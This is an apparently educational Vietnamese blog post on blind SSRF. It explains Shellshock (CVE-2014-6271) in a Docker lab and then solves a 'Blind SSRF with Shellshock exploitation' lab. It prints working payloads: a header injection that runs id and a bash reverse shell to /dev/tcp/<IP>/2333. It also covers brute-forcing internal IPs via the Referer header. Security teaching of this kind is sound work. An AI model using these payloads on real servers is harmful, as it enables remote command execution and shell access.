+4

Server side request forgery vulnerabilities (SSRF) - Các lỗ hổng giả mạo yêu cầu phía máy chủ (Phần 5)

II. Phân tích và khai thác các lỗ hổng Server-side request forgery (tiếp)

8. Lỗ hổng SSRF dạng Blind

Cũng giống với các dạng lỗ hổng blind khác, lỗ hổng Blind SSRF xảy ra khi giao diện không trả về bất kỳ thông tin nào về kết quả cuộc tấn công SSRF, nhưng payload của chúng ta vẫn được thực thi trong server back-end. Trong trường hợp giao diện trang web không trả về kết quả, cách thông dụng nhất để xác định lỗ hổng SSRF tồn tại (ở dạng blind) là sử dụng kỹ thuật out-of-band (OAST) mà đã được tôi trình bày ở mục trước. Các bạn có thể xem lại phân tích của lab Blind SSRF with out-of-band detection.

Lỗ hổng SSRF dạng blind có thể không mang lại nhiều thông tin hữu ích cũng như hướng khai thác sâu hơn do mục đích của tấn công SSRF thường là thu thập thông tin nhạy cảm. Tuy nhiên, nếu kẻ tấn công có thể tận dụng dạng lỗ hổng này một cách khéo léo, thực hiện scan máy chủ nội bộ để phát hiện các lỗ hổng còn tồn tại ở máy chủ nội bộ. Khả năng tìm kiếm các lỗ hổng trong các máy chủ nội bộ cao hơn do các nhà phát triển thường chú trọng hơn với các server public.

Để các bạn có thể hình dung rõ hơn về hậu quả mang lại từ dạng lỗ hổng Blind SSRF, chúng ta cùng phân tích CVE-2014-6271 - Lỗ hổng bảo mật Shellshock. Lỗ hỏng Shellshock xuất hiện tại các phiên bản từ GNU Bash 4.3 trở về trước.

Link môi trường Docker: https://github.com/vulhub/vulhub/tree/master/bash/CVE-2014-6271

Dựng môi trường

Khởi chạy môi trường Docker với lệnh docker-compose up -d

image.png

Sau khi dựng thành công, thu được 22 địa chỉ, địa chỉ http://<IP>:8080/victim.cgi chứa lỗ hỏng Shellshock và http://<IP>:8080/safe.cgi đã được sửa lỗi. Trước khi đi vào xem xét môi trường chứa lỗi, cần thay đổi quyền ở 22 tệp victim.cgisafe.cgi tại /var/www/html.

image.png

Nguyên lý hoạt động

Khi gắn giá trị cho biến test, và thực hiện in ra biến test:

image.png

Nhưng nếu thử chạy một tiến trình con bash trước khi in ra biến test:

image.png

Giá trị biến $test không được in ra. Khi thoát tiến trình con thì mới có thể in ra giá trị biến test. Điều này xảy ra là do khi chạy tiến trình con thì giá trị biến test vẫn được lưu trong tiến trình cha. Để thực thi các lệnh với biến test trong tiến trình con, chúng ta có thể export biến test thành biến môi trường:

image.png

Với ý tưởng như trên, nếu chúng ta thử cài đặt một hàm thực thi test thành hàm môi trường thì sao?

image.png

Đúng như dự đoán, hàm thực thi như bình thường. Đối với trường hợp cài đặt một đoạn string thành môi trường:

image.png

Như các bạn thấy, điều thú vị đã xảy ra: khi thực thi biến test tại tiến trình cha thì được hiểu là string, còn khi thực thi trong tiến trình con, hệ thống lại thực thi lệnh whoami. Do đó:

  • Để thực hiện tấn công Shellshock thì kẻ tấn công cần có quyền thao tác với biến môi trường (với ví dụ string như trên) và có thể mở một tiến trình con để thực thi lệnh shell.
  • Nguyên nhân lỗ hỏng xảy ra là do cơ chế hoạt động các biến môi trường trong Bash với phiên bản từ 4.34.3 trở về trước.

Như vậy có thể xây dựng một payload để kiểm thử lỗ hỏng Shellshock như sau:

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

image.png

Tại phiên bản Bash 4.3 nó đã hoạt động, giải thích về câu payload trên:

  • env: đặt biến môi trường sau đó thực thi luôn câu lệnh phía sau
  • bash -c: mở một tiến trình con bash sau đó thực thi lệnh phía sau

Cả payload hoạt động như sau: sau khi mở tiến trình con bash, hệ thống đặt biến môi trường x và hiểu x là một hàm tự động, do không có quy định việc kết thúc của hàm nên hệ thống đã thực thi luôn câu lệnh phía sau và in ra vulnerable, tiếp theo thực thi in ra this is a test. Bạn đọc có thể tham khảo thêm cách giải thích:

image.png

Khai thác lỗ hỏng

Do tệp .cgi sẽ kế thừa giá trị biến môi trường từ hệ thống, nên chúng ta có thể khai thác lỗ hỏng Shellshock thông qua header User-Agent.

Payload: () { :; };echo; /usr/bin/id;

image.png

Cũng có thể tấn công với header Connection:

image.png

Payload reverse shell:

() { :; };echo; /bin/bash -i >& /dev/tcp/<IP>/2333 0>&1;

image.png

image.png

Kết thúc mục phân tích lỗ hổng blind SSRF, chúng ta cùng phân tích lab demo sau:

Phân tích lab Blind SSRF with Shellshock exploitation

image.png

Miêu tả: Trang web chứa lỗ hổng blind SSRF. Biết rằng hệ thống thực hiện tìm nạp URL qua header Referer khi người dùng thực hiện tải thông tin chi tiết sản phẩm. Để hoàn thành bài lab, chúng ta cần sử dụng Shellshock payload để truy xuất thông tin tên người dùng hiện tại của server. Với thông tin IP hệ thống trong dải 192.168.0.X mở tại cổng 80808080.

Request khi truy cập thông tin chi tiết sản phẩm:

image.png

Kiểm tra lỗ hổng blind SSRF với burp collaborator.

image.png

image.png

Scan phát hiện có thể khai thác lỗ hổng tại hai header User-AgentReferer

image.png

Gửi request tới Intruder, header User-Agent thay bằng payload Shellshock, header Referer dùng để brute force IP hệ thống.

image.png

Khi IP server đúng, thì client Collaborator của chúng ta sẽ nhận được kết quả dòng lệnh $(whoami).

image.png

Từ đây chúng ta xác định được người dùng hiện tại là peter-mJbnDO, submit đáp án và hoàn thành bài lab:

image.png

Các tài liệu tham khảo


©️ Tác giả: Lê Ngọc Hoa từ Viblo


All Rights Reserved

Viblo
Let's register a Viblo Account to get more interesting posts.